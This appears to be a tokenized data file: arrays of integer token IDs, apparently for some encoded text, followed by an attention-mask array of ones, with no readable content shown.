1182, 12, 1808, 636, 30835, 4343, 221, 715, 4629, 883, 2597, 506, 18159, 523, 1806, 4591, 12, 1808, 636, 22062, 4343, 221, 8465, 2608, 67, 4629, 1077, 506, 314, 2011, 523, 465, 1902, 402, 5204, 14, 221, 334, 13933, 1077, 473, 1050, 282, 5721, 367, 4629, 641, 523, 922, 13, 4037, 2251, 12, 370, 2153, 16902, 4767, 642, 1930, 687, 1233, 626, 1990, 523, 7078, 7934, 17076, 199, 199, 13, 283, 5663, 290, 3151, 2263, 3598, 367, 1004, 653, 297, 1004, 11584, 701, 22969, 819, 437, 5721, 1990, 6775, 367, 282, 1004, 440, 3035, 282, 1182, 4182, 14, 221, 710, 4750, 523, 12060, 7675, 365, 282, 5721, 3595, 1233, 7934, 701, 283, 1628, 7, 503, 3468, 342, 523, 334, 3239, 5317, 5084, 395, 503, 376, 19458, 19569, 402, 314, 1182, 4182, 12, 367, 523, 2893, 4799, 314, 9073, 342, 805, 315, 314, 4182, 859, 14, 221, 2779, 4293, 523, 2597, 506, 18104, 701, 282, 1570, 370, 314, 570, 3382, 314, 900, 314, 511, 523, 2884, 1990, 1255, 370, 8775, 3598, 436, 314, 900, 5325, 3015, 1990, 1255, 14, 199, 199, 13, 283, 11053, 2419, 1373, 1182, 4182, 315, 1004, 653, 13619, 503, 523, 283, 11053, 2419, 1373, 1182, 4182, 1126, 5164, 315, 2385, 653, 13, 46, 356, 819, 710, 19121, 1911, 1655, 2419, 1373, 1182, 4182, 641, 282, 2849, 1004, 12, 503, 315, 282, 523, 5164, 3715, 9371, 3663, 2385, 14, 221, 13821, 314, 3598, 523, 10059, 3181, 1133, 334, 460, 883, 1133, 9, 2498, 314, 3268, 4453, 314, 1004, 12, 436, 523, 314, 1233, 4306, 3181, 1133, 3544, 8120, 314, 3211, 1004, 1329, 367, 523, 5331, 315, 282, 3510, 13, 604, 5164, 12, 781, 883, 1133, 506, 3238, 3775, 1006, 523, 10211, 315, 314, 5164, 4898, 7934, 14, 221, 4005, 506, 641, 314, 5048, 5366, 12, 523, 701, 849, 282, 5721, 365, 21117, 3595, 642, 1930, 14, 221, 1010, 24471, 12, 3520, 523, 5560, 787, 9987, 5048, 12, 436, 314, 446, 77, 945, 4973, 4357, 3520, 5721, 14, 199, 199, 13, 283, 6049, 1133, 2342, 314, 1182, 4182, 315, 1004, 653, 297, 1004, 11584, 701, 22969, 819, 961, 7710, 9296, 1133, 5992, 14, 221, 2779, 4910, 626, 314, 13343, 859, 523, 14581, 282, 7324, 4182, 1325, 314, 1004 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 624, 970, 3015, 446, 4744, 370, 5325, 4629, 10211, 14, 199, 199, 1378, 675, 642, 4744, 12, 1642, 1255, 658, 1548, 446, 49, 4050, 452, 2195, 1579, 14, 647, 499, 30, 5451, 1370, 199, 2765, 7858, 314, 2884, 658, 12695, 1579, 14, 647, 7, 1830, 3575, 5721, 3788, 199, 10254, 1006, 4440, 402, 314, 31205, 4629, 4182, 370, 314, 570, 199, 64, 5451, 1370, 221, 710, 3598, 3648, 2839, 642, 26, 819, 665, 493, 30, 16875, 604, 20020, 13413, 26, 31205, 665, 466, 30, 4629, 199, 199, 1918, 3598, 787, 5313, 370, 4635, 12, 880, 1265, 1471, 675, 658, 18, 3524, 367, 314, 473, 15, 47, 199, 4876, 14, 221, 473, 5715, 402, 949, 4340, 370, 4660, 4635, 641, 5417, 315, 282, 577, 3100, 199, 1977, 12, 880, 1265, 911, 1172, 370, 2811, 314, 2884, 370, 663, 984, 14, 3083, 370, 2005, 199, 5091, 402, 943, 570, 340, 1265, 2934, 370, 886, 642, 641, 5417, 14, 199, 199, 1918, 3598, 787, 440, 13988, 370, 314, 2884, 27, 4621, 8439, 701, 314, 199, 1579, 1443, 2597, 6804, 3598, 14, 221, 1010, 10572, 282, 2997, 32414, 365, 370, 199, 952, 282, 511, 2884, 22543, 11619, 370, 26511, 1006, 1233, 315, 282, 199, 462, 6628, 859, 503, 663, 402, 4621, 14, 199, 199, 28226, 1255, 658, 1548, 5325, 3015, 14, 647, 3598, 1370, 221, 961, 1642, 11597, 314, 3598, 12, 199, 11660, 316, 367, 31205, 4629, 3598, 12, 436, 30313, 3062, 701, 570, 536, 436, 199, 604, 1329, 14, 221, 9442, 12, 367, 1924, 570, 626, 3086, 737, 5210, 1373, 5721, 12, 199, 390, 19953, 314, 570, 436, 11275, 370, 1336, 314, 3598, 1536, 370, 314, 4629, 199, 12688, 1911, 315, 314, 1350, 1233, 14, 221, 982, 652, 365, 9512, 12, 652, 14511, 199, 1405, 2342, 780, 370, 3839, 12, 9222, 770, 701, 282, 1004, 402, 21106, 436, 282, 1004, 402, 314, 199, 964, 26, 819, 5499, 26, 665, 493, 30, 199, 199, 3917, 314, 1454, 2342, 780, 1911, 787, 18453, 15293, 370, 1570, 282, 1182, 4182, 1901, 199, 65, 5001, 4182, 12, 314, 1072, 365, 14712, 1324, 367, 314, 13074, 283, 2068, 7, 199, 6815, 14, 199, 199, 21741, 787, 314, 3962, 3788, 641, 3839, 334, 46, 410, 5915, 367, 282, 1004, 1329, 304, 199, 199, 13, 437, 8971, 13, 3028, 13, 2487, 1570, 661, 46, 67, 46, 297, 282, 1004, 11584, 701, 30243, 282, 1004, 523, 3035, 283, 2595, 297, 436, 282, 1004, 11584, 701, 12696, 735, 819, 437, 1182, 4182, 1990, 1911, 626, 1077, 506, 2896, 370, 5001, 14, 221, 961, 365, 314, 523, 295, 22105, 1380, 1454, 1109, 436, 15, 269, 1846, 2368, 4898, 6775, 14, 199, 199, 13, 283, 549, 4629, 1182, 4182, 737, 1004, 653, 7, 436, 282, 1004, 11584, 701, 283, 18749, 819, 437, 1182, 4182, 1990, 1911, 626, 883, 5706, 14874, 14, 221, 961, 365, 314, 523, 295, 22105, 1380, 1454, 2069, 436, 15, 269, 6114, 2368, 4898, 6775, 14, 199, 199, 13, 283, 29209, 20357, 1182, 4182, 334, 11577, 19172, 737, 1004, 653, 297, 1004, 11584, 701, 8720, 356, 819, 437, 1182, 4182, 1990, 1911, 367, 1314, 1109, 503, 1846, 465, 5521, 465, 2069, 503, 523, 6114, 2368, 4898, 6775, 14, 221, 961, 365, 4721, 590, 625, 24227, 27, 340, 652, 11058, 12, 523, 1265, 1443, 1172, 370, 295, 6976, 314, 1233, 370, 4215, 314, 31205, 19002, 12, 523, 503, 11703, 1265, 2793, 1133, 10296, 3595, 314, 31205, 19002, 14, 199, 199, 13, 283, 1944, 406, 6563, 24656, 5606, 641, 1004, 653, 297, 1004, 11584, 701, 22969, 819, 437, 1182, 4182, 1990, 1911, 367, 1314, 949, 3598, 4898, 6775, 14, 221, 961, 4293, 523, 506, 1233, 626, 1990, 7078, 7934, 12, 503, 1233, 626, 1990, 1454, 7934, 523, 543, 922, 13, 4037, 2251, 465, 2368, 14, 221, 2047, 911, 1172, 370, 523, 315, 27174, 323, 9848, 14, 221, 3390, 626, 5001, 883, 506, 1806, 4591, 18159, 687, 523, 1182, 12, 1808, 636, 30835, 4343, 221, 715, 4629, 883, 2597, 506, 18159, 523, 1806, 4591, 12, 1808, 636, 22062, 4343, 221, 8465, 2608, 67, 4629, 1077, 506, 314, 2011, 523, 465, 1902, 402, 5204, 14, 221, 334, 13933, 1077, 473, 1050, 282, 5721, 367, 4629, 641, 523, 922, 13, 4037, 2251, 12, 370, 2153, 16902, 4767, 642, 1930, 687, 1233, 626, 1990, 523, 7078, 7934, 17076, 199, 199, 13, 283, 5663, 290, 3151, 2263, 3598, 367, 1004, 653, 297, 1004, 11584, 701, 22969, 819, 437, 5721, 1990, 6775, 367, 282, 1004, 440, 3035, 282, 1182, 4182, 14, 221, 710, 4750, 523, 12060, 7675, 365, 282, 5721, 3595, 1233, 7934, 701, 283, 1628, 7, 503, 3468, 342, 523, 334, 3239, 5317, 5084, 395, 503, 376, 19458, 19569, 402, 314, 1182, 4182, 12, 367, 523, 2893, 4799, 314, 9073, 342, 805, 315, 314, 4182, 859, 14, 221, 2779, 4293, 523, 2597, 506, 18104, 701, 282, 1570, 370, 314, 570, 3382, 314, 900, 314, 511, 523, 2884, 1990, 1255, 370, 8775, 3598, 436, 314, 900, 5325, 3015, 1990, 1255, 14, 199, 199, 13, 283, 11053, 2419, 1373, 1182, 4182, 315, 1004, 653, 13619, 503, 523, 283, 11053, 2419, 1373, 1182, 4182, 1126, 5164, 315, 2385, 653, 13, 46, 356, 819, 710, 19121, 1911, 1655, 2419, 1373, 1182, 4182, 641, 282, 2849, 1004, 12, 503, 315, 282, 523, 5164, 3715, 9371, 3663, 2385, 14, 221, 13821, 314, 3598, 523, 10059, 3181, 1133, 334, 460, 883, 1133, 9, 2498, 314, 3268, 4453, 314, 1004, 12, 436, 523, 314, 1233, 4306, 3181, 1133, 3544, 8120, 314, 3211, 1004, 1329, 367, 523, 5331, 315, 282, 3510, 13, 604, 5164, 12, 781, 883, 1133, 506, 3238, 3775, 1006, 523, 10211, 315, 314, 5164, 4898, 7934, 14, 221, 4005, 506, 641, 314, 5048, 5366, 12, 523, 701, 849, 282, 5721, 365, 21117, 3595, 642, 1930, 14, 221, 1010, 24471, 12, 3520, 523, 5560, 787, 9987, 5048, 12, 436, 314, 446, 77, 945, 4973, 4357, 3520, 5721, 14, 199, 199, 13, 283, 6049, 1133, 2342, 314, 1182, 4182, 315, 1004, 653, 297, 1004, 11584, 701, 22969, 819, 961, 7710, 9296, 1133, 5992, 14, 221, 2779, 4910, 626, 314, 13343, 859, 523, 14581, 282, 7324, 4182, 1325, 314, 1004, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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